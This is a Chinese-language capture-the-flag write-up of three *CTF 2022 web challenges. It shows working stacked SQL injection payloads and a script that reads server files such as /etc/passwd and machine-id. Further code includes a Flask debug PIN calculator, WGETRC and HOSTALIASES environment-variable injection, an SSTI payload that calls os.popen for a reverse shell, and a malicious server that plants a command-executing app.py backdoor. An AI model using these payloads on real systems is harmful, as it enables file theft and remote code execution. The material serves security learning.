starctf2022

总览

21支队伍ak了道web题也体现出这个比赛对web手的“友好”——不ak就达不到平均值。。

还是太菜了

image.png

oh-my-notepro

登录之后在后台有注入,这里怎么都能注,能报错,能联合,能堆叠。唯一限制的地方可能是开了secure_file_priv不能用load_data

利用load data local infile 把文件数据读到自己建的表,并且可以绕过secure_file_priv

1
2
3
4
5
6
7
8
建表whrssb:
1';create%2F%2A%2A%2Ftable%2F%2A%2A%2Fwhrssb%28data%2F%2A%2A%2Fvarchar%284294967295%29%29ENGINE%3DInnoDB%2F%2A%2A%2FDEFAULT%2F%2A%2A%2FCHARSET%3Dutf8%3B%23

读文件
1';load%2F%2A%2A%2Fdata%2F%2A%2A%2Flocal%2F%2A%2A%2Finfile%2F%2A%2A%2F%22%2Fetc%2Fpasswd%22%2F%2A%2A%2Finto%2F%2A%2A%2Ftable%2F%2A%2A%2Fwhrssb%23
load/**/data/**/local/**/infile/**/"/etc/passwd"/**/into/**/table/**/whrssb#

0'/**/union/**/select/**/1,2,3,4,group%5Fconcat%28data%29%2F%2A%2A%2Ffrom%2F%2A%2A%2Fwhrssb%23

然后就能写脚本:

读取任意文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import requests
import time

basic_url = "http://121.37.153.47:5002/"
cookies = {"session":"eyJjc3JmX3Rva2VuIjoiYzI1M2ZiNTQyMWRkY2ZjMGZmZDI5NGJlMDNkMDdjYzQwM2NhMzJjMiIsInVzZXJuYW1lIjoiYWRtaW4ifQ.YlqUug.Sq9JqvfeVaFCF1mterkqzjBXTw8"}
url = basic_url + "/view?note_id="
def create_table(id):
payload = "1';create%2F%2A%2A%2Ftable%2F%2A%2A%2Fwhrssb"+str(id)+"%28data%2F%2A%2A%2Fvarchar%284294967295%29%29ENGINE%3DInnoDB%2F%2A%2A%2FDEFAULT%2F%2A%2A%2FCHARSET%3Dutf8%3B%23"
r1 = requests.get(url+payload,cookies=cookies)
# print("[+]create table whrssb"+str(id))
time.sleep(0.5)

def write_file(id,filename):
new_filename = filename.replace("/","%2F")
payload = "1';load%2F%2A%2A%2Fdata%2F%2A%2A%2Flocal%2F%2A%2A%2Finfile%2F%2A%2A%2F%22"+new_filename+"%22%2F%2A%2A%2Finto%2F%2A%2A%2Ftable%2F%2A%2A%2Fwhrssb"+str(id)+"%23"
requests.get(url+payload,cookies=cookies)
# print("write in "+new_filename+" to whrssb"+str(id))
time.sleep(0.5)

def get_data(id):
payload = "0'/**/union/**/select/**/1,2,3,4,group%5Fconcat%28data%29%2F%2A%2A%2Ffrom%2F%2A%2A%2Fwhrssb"+str(id)+"%23"
r1 = requests.get(url+payload,cookies=cookies)
print(r1.text)
time.sleep(0.5)

def get_tables():
payload = "0'/**/union/**/select/**/1,2,3,4,group%5Fconcat%28table%5Fname%29from%2F%2A%2A%2Finformation%5Fschema%2Etables%2F%2A%2A%2Fwhere%2F%2A%2A%2Ftable%5Fschema%3Ddatabase%28%29%23"
r = requests.get(url+payload,cookies=cookies)
print(r.text)

def get_file(filename,id):
create_table(id)
write_file(id,filename)
print("=================="+filename+"===============================================================")
get_data(id)
print("===============================================================")

if __name__ == '__main__':
# get_file("/etc/passwd",11)
get_file("/sys/class/net/eth0/address",657)
get_file("/etc/machine-id",1567)

get_file("/proc/self/cgroup",266)
# get_file("/flag_cantguessit",232)
# get_tables()
# get_file("/etc/passwd","dfd")

flask开了debug模式,算pin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import hashlib
import getpass
from flask import Flask
from itertools import chain
import sys
import uuid
import typing as t
username='ctf'
app = Flask(__name__)
modname=getattr(app, "__module__", t.cast(object, app).__class__.__module__)
mod=sys.modules.get(modname)
mod = getattr(mod, "__file__", None)

probably_public_bits = [
username, #用户名
modname, #一般固定为flask.app
getattr(app, "__name__", app.__class__.__name__), #固定,一般为Flask
'/usr/local/lib/python3.8/site-packages/flask/app.py', #主程序(app.py)运行的绝对路径
]
print(probably_public_bits)
mac ='02:42:c0:a8:00:03'.replace(':','')
mac=str(int(mac,base=16))
private_bits = [
mac,#mac地址十进制
"1cc402dd0e11d5ae18db04a6de87223df94918dc15380836ea1b18193fe060888b28f6a7245d06858bf6ea3dc61fbeee"#/etc/machine-id+cgroup
]
print(private_bits)
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv=None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num

print(rv)

然后这里就是玄学了,可能蹭到别人的车了,一般debug之后执行不了命令,但是有时又可以了

V7LO8MI_5PABDPCL.png

趁他可以的时候弹shell

(不抽风的时候,这里应该是蹭到其他一个环境里队伍的车了):

92JZRR4UCWIYTKCH8VBG.png

PPQWVV4G1FUDPCGH.png

1
*ctf{exploit_Update_with_Version}$

oh-my-lotto

这道题我做的方法,应该不是预期解(

老题目附件删掉了,了解了整个程序的逻辑就行。

整个获取flag的流程:

有一次修改环境变量的机会——>从wget本地开的另一个服务获取到随机的lotto结果——>和可控的预测结果匹配——>相同返回flag

如果wget没有获取到新的flag,那lotto结果就会是上局的结果,是已知的,就能通过。

因此我通过修改环境变量PATH直接把wget拒之门外了,为了防止ban了其他的可能对正常流程影响的函数,就用通配符限制了一下

1
/usr/bin/?:/usr/bin/??:/usr/bin/???:/usr/bin/?????:/usr/bin/?????*

image.png

oh-my-lotto-revenge

这道题比赛没做出来,属于赛后复现

当我们猜中的时候,不再返回flag,所以要考虑怎么通过修改环境变量rce

image.png

因此这道题涉及的知识点又是——环境变量注入

解法1-挟持wget参数

貌似是非预期

看的y4tacker👴👴的wp学的,链接:https://y4tacker.github.io/2022/04/18/year/2022/4/2022-CTF-Web/#oh-my-lotto-revenge

wget --content-disposition -N lotto

image.png

当时自己做的时候也想通过修改代理让他请求别的地址,但是因为黑名单里ban了http所以没有成功

这里翻看wget的手册,找到了可以利用的环境变量WGETRC

试验一下发现可以挟持参数,比如http_proxy,也就是上面我们想干的事情

image.png

image.png

这里结合输出参数,覆盖原有的index.html打ssti即可

output_document = fileSet

the output filename—the same as ‘-O file’.

写入WGETRC

1
2
http_proxy=http://xxxxx
output_document = templates/index.html
1
2
写入html内容:
{{config.__class__.__init__.__globals__['os'].popen('反弹shell').read()}}

能可控写入就行

image.png

解法2-HOSTALIASES

https://github.com/sixstars/starctf2022/blob/main/web-oh-my-lotto%20%26%20revenge/web-oh-my-lotto%26revenge-ZH.md

通过阅读linux文档,发现在Network Settings中有可以利用的地方

在Network Settings中发现有HOSTALIASES可以设置shell的hosts加载文件,利用/forecast路由可以上传待加载的hosts文件,将wget --content-disposition -N lotto发向lotto的请求转发到自己的域名例如如下hosts文件

1
2
# hosts
lotto mydomain.com

这样就可以请求到我们自己的vps上面

--content-disposition参数让wget下载比当前目录下新的文件,所以我们可以覆盖app.py

还是wp中给出的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from flask import Flask, request, make_response
import mimetypes

app = Flask(__name__)

@app.route("/")
def index():

r = '''
from flask import Flask,request
import os


app = Flask(__name__)
@app.route("/test", methods=['GET'])
def test():
a = request.args.get('a')
a = os.popen(a)
a = a.read()
return str(a)

if __name__ == "__main__":
app.run(debug=True,host='0.0.0.0', port=8080)
'''

response = make_response(r)
response.headers['Content-Type'] = 'text/plain'
response.headers['Content-Disposition'] = 'attachment; filename=app.py'
return response



if __name__ == "__main__":
app.run(debug=True,host='0.0.0.0', port=8080)

此时虽然app.py已经被覆盖,但是没有被部署

题目用的是gunicorn.conf.py来部署的,我们让他超时就能够重写加载我们覆盖掉的app.py

1
2
3
timeout 50 nc ip 53000 &
timeout 50 nc ip 53000 &
timeout 50 nc ip 53000

然后就能rce了,感觉这道题的关键还是在环境变量那里,当时做题的时候想到去修改代理,但是http等关键词被ban了就不会了,还得是去翻可用的环境变量,找到能够修改shell的代理的HOSTALIASES,从而才能覆盖app.py

关于linux,还是有好多可以学习的地方啊!